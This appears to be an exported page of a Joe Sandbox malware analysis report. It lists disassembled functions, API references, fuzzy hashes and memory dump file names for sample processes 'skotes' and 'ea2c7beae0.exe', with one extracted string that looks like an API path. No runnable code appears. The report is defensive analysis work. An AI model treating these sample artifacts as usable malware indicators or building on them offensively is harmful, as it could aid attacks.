Associated: 00000006.00000002.2921225888.0000000000EEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921277332.0000000000EF0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a50000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebde2a935d7fc4dfaf12cdce1794efa69f7928f19d2f867c632327810c7a87a6
Instruction ID: dc4e43aed982aa39505e4797642bd6949a64941460ecd3d75485fff7d3e33d5e
Opcode Fuzzy Hash: ebde2a935d7fc4dfaf12cdce1794efa69f7928f19d2f867c632327810c7a87a6
Instruction Fuzzy Hash: 51E0C230140518AFDF3D7B18CA5DE483B69EF51741F001800FC184A226CB36EE81C780

Function 00A8A302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2919732407.0000000000A51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000006.00000002.2919679408.0000000000A50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919732407.0000000000AB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919934587.0000000000AB9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000ABB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000C3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D41000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920884393.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921225888.0000000000EEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921277332.0000000000EF0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a50000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 74553c1d12d8a1904c6c5aed7f5a04ecae52b7ac26ac0cf551f0445b4d486294
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 8BE08C32921228EBCB14EB98CA0498AF7ECEB49B01B650096F512D3150D270DE00C7D0

Function 00A52EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00A52F5F
GetCurrentThreadId.KERNEL32 ref: 00A52F7E
__Mtx_unlock.LIBCPMT ref: 00A52FCC
__Cnd_broadcast.LIBCPMT ref: 00A52FE3
__Mtx_unlock.LIBCPMT ref: 00A530F5
GetCurrentThreadId.KERNEL32 ref: 00A53132
__Mtx_unlock.LIBCPMT ref: 00A5319B

Memory Dump Source

Source File: 00000006.00000002.2919732407.0000000000A51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000006.00000002.2919679408.0000000000A50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919732407.0000000000AB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919934587.0000000000AB9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000ABB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000C3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D41000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920884393.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921225888.0000000000EEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921277332.0000000000EF0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a50000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: d7ccedb75848c84388f92c32476129c42e498cacaa5e92d7cea973b75649d5de
Instruction ID: 8d21c16a400d6a8f6fef8e296847f6721a4a77ca4af34ebeaf5a6ee6efac07ea
Opcode Fuzzy Hash: d7ccedb75848c84388f92c32476129c42e498cacaa5e92d7cea973b75649d5de
Instruction Fuzzy Hash: 96A1D1B1A017159FDF10DB75C9447AAB7B8FF55361F048229EC16D7281EB31EA08CB91

Function 00A84840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00A84877
___except_validate_context_record.LIBVCRUNTIME ref: 00A8487F
_ValidateLocalCookies.LIBCMT ref: 00A84908
__IsNonwritableInCurrentImage.LIBCMT ref: 00A84933
_ValidateLocalCookies.LIBCMT ref: 00A84988

Strings

csm, xrefs: 00A8491D

Memory Dump Source

Source File: 00000006.00000002.2919732407.0000000000A51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000006.00000002.2919679408.0000000000A50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919732407.0000000000AB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919934587.0000000000AB9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000ABB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000C3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D41000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920884393.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921225888.0000000000EEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921277332.0000000000EF0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a50000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: cea985aa853db045e502da46e751787ab994067c160d87b344ee511cfb03e3d2
Instruction ID: 9be85ec655048555867fc3dc8f193557295963ed6e0aa6287b632716a5417a0a
Opcode Fuzzy Hash: cea985aa853db045e502da46e751787ab994067c160d87b344ee511cfb03e3d2
Instruction Fuzzy Hash: CB51D734E0024A9BCF20FF68D881AAF7FB5AF49314F148195E9189B352D736DE15CB91

Function 00A8CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00A8CC66

Memory Dump Source

Source File: 00000006.00000002.2919732407.0000000000A51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000006.00000002.2919679408.0000000000A50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919732407.0000000000AB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919934587.0000000000AB9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000ABB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000C3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D41000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920884393.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921225888.0000000000EEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921277332.0000000000EF0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a50000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: c36d8412910bd68d989206fae89b9cafe2edec207dc71ad10e347f3124bc18a3
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 63B12572E046459FDB15EF28C881BAEBBF5EF45360F14816AE855EB242D6389E01CF70

Function 00A6BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00A6BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00A6BBE4
_xtime_get.LIBCPMT ref: 00A6BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00A6BC13

Memory Dump Source

Source File: 00000006.00000002.2919732407.0000000000A51000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000006.00000002.2919679408.0000000000A50000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919732407.0000000000AB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919934587.0000000000AB9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000ABB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000C3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D41000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920009693.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920884393.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921225888.0000000000EEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921277332.0000000000EF0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a50000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: d01ef1f3c1f8640376d13567868744acb0f711f0afb08608e650fda34490799c
Instruction ID: a8ef062a757d159c8d1fbe960e8809b28f802b9fe0b661dbad950f744558635b
Opcode Fuzzy Hash: d01ef1f3c1f8640376d13567868744acb0f711f0afb08608e650fda34490799c
Instruction Fuzzy Hash: 5E213275A00219AFDF00EFA4DD95DBEB7B9EF08720F500429F601B7261DB309D419BA0

Analysis Process: ea2c7beae0.exePID: 5744, Parent PID: 5436COMMON

Execution Graph

Execution Coverage:	2.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	45.2%
Total number of Nodes:	217
Total number of Limit Nodes:	17

Executed Functions

Function 00B3FCA0 Relevance: 6.6, Strings: 5, Instructions: 373
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

V, xrefs: 00B3FEDC
t, xrefs: 00B3FCBE
J|BJ, xrefs: 00B4000D
VY^_, xrefs: 00B3FDFF
sFZ.vxbLOe9AFeuqFGuTUX1yvZ6Ewzbor.ZRNXGEXtY-1729256655-0.0.1.1-/api, xrefs: 00B40137, 00B40154

Memory Dump Source

Source File: 00000007.00000002.2463264671.0000000000B31000.00000040.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000007.00000002.2463161327.0000000000B30000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463380659.0000000000B90000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463432220.0000000000B9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463451761.0000000000B9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463486356.0000000000B9C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463610520.0000000000CF6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463628970.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D12000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D1D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463714247.0000000000D26000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463794569.0000000000D27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463881741.0000000000D28000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463938596.0000000000D29000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464023851.0000000000D4F000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464069086.0000000000D50000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464121644.0000000000D51000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464157606.0000000000D61000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464180393.0000000000D79000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464199389.0000000000D7D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464217632.0000000000D85000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464235555.0000000000D8B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464287524.0000000000D95000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464333069.0000000000D97000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464354348.0000000000D9E000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464375005.0000000000DA2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464396100.0000000000DAC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464415100.0000000000DAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464434088.0000000000DAE000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464453908.0000000000DB6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464472269.0000000000DB7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464491731.0000000000DBF000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464514168.0000000000DCF000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464533295.0000000000DD1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464551496.0000000000DD2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000DD3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000E00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464619669.0000000000E29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464638394.0000000000E2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E2B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E31000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464700079.0000000000E3F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464728430.0000000000E40000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b30000_ea2c7beae0.jbxd

Similarity

API ID:
String ID: J|BJ$V$VY^_$sFZ.vxbLOe9AFeuqFGuTUX1yvZ6Ewzbor.ZRNXGEXtY-1729256655-0.0.1.1-/api$t
API String ID: 0-1711874381
Opcode ID: d0fb9e262808ee62d21f601fe66b3b64e7a776a29328d42bbf5d1e510bed7270
Instruction ID: a9d43b912a3ddd97ed0ac5a771b212c687ed472143f17e27b0fd86f7c73eb1ca
Opcode Fuzzy Hash: d0fb9e262808ee62d21f601fe66b3b64e7a776a29328d42bbf5d1e510bed7270
Instruction Fuzzy Hash: DDD1797451C3919BD310EF14949062FBBE1EB96B44F24489CF5C99B322C335CE09EB92

Function 00B3D110 Relevance: 1.7, APIs: 1, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000), ref: 00B3D2F1

Memory Dump Source

Source File: 00000007.00000002.2463264671.0000000000B31000.00000040.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000007.00000002.2463161327.0000000000B30000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463380659.0000000000B90000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463432220.0000000000B9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463451761.0000000000B9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463486356.0000000000B9C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463610520.0000000000CF6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463628970.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D12000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D1D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463714247.0000000000D26000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463794569.0000000000D27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463881741.0000000000D28000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463938596.0000000000D29000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464023851.0000000000D4F000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464069086.0000000000D50000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464121644.0000000000D51000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464157606.0000000000D61000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464180393.0000000000D79000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464199389.0000000000D7D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464217632.0000000000D85000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464235555.0000000000D8B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464287524.0000000000D95000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464333069.0000000000D97000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464354348.0000000000D9E000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464375005.0000000000DA2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464396100.0000000000DAC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464415100.0000000000DAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464434088.0000000000DAE000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464453908.0000000000DB6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464472269.0000000000DB7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464491731.0000000000DBF000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464514168.0000000000DCF000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464533295.0000000000DD1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464551496.0000000000DD2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000DD3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000E00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464619669.0000000000E29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464638394.0000000000E2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E2B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E31000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464700079.0000000000E3F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464728430.0000000000E40000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b30000_ea2c7beae0.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 73e0100189565ca595c7df315df3158964e73cb603700bd41bbb2cc2ece2b6c1
Instruction ID: e592b8c93a3f403041b7e56dc8826ed8216a92f0b4957648645082dc8e49f686
Opcode Fuzzy Hash: 73e0100189565ca595c7df315df3158964e73cb603700bd41bbb2cc2ece2b6c1
Instruction Fuzzy Hash: 2741467440D380ABD301BB68E584A2EFBF5EF92705F248C9CE5C497252C339D8249B67

Function 00B75700 Relevance: 1.6, APIs: 1, Instructions: 69
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?), ref: 00B75784

Memory Dump Source

Source File: 00000007.00000002.2463264671.0000000000B31000.00000040.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000007.00000002.2463161327.0000000000B30000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463380659.0000000000B90000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463432220.0000000000B9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463451761.0000000000B9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463486356.0000000000B9C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463610520.0000000000CF6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463628970.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D12000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D1D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463714247.0000000000D26000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463794569.0000000000D27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463881741.0000000000D28000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463938596.0000000000D29000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464023851.0000000000D4F000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464069086.0000000000D50000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464121644.0000000000D51000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464157606.0000000000D61000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464180393.0000000000D79000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464199389.0000000000D7D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464217632.0000000000D85000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464235555.0000000000D8B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464287524.0000000000D95000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464333069.0000000000D97000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464354348.0000000000D9E000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464375005.0000000000DA2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464396100.0000000000DAC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464415100.0000000000DAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464434088.0000000000DAE000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464453908.0000000000DB6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464472269.0000000000DB7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464491731.0000000000DBF000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464514168.0000000000DCF000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464533295.0000000000DD1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464551496.0000000000DD2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000DD3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000E00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464619669.0000000000E29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464638394.0000000000E2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E2B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E31000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464700079.0000000000E3F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464728430.0000000000E40000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b30000_ea2c7beae0.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: cc0a4efd6580e5e270bed028f805d79f3ea976f7eb0336039a59bd6c303b6c55
Instruction ID: 4560c7aa4dec3a333e403bb3e04bb4cf2496a3b09222ee2e0ad3eb5862aa75b1
Opcode Fuzzy Hash: cc0a4efd6580e5e270bed028f805d79f3ea976f7eb0336039a59bd6c303b6c55
Instruction Fuzzy Hash: 6111AC7591C280EBC315AF28E841A1BBBF5EF86B10F05C868E4D89B321D735D910CBA3

Function 00B75BB0 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(00B798C0,005C003F,00000002,00000018,?), ref: 00B75BDE

Memory Dump Source

Source File: 00000007.00000002.2463264671.0000000000B31000.00000040.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000007.00000002.2463161327.0000000000B30000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463380659.0000000000B90000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463432220.0000000000B9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463451761.0000000000B9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463486356.0000000000B9C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463610520.0000000000CF6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463628970.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
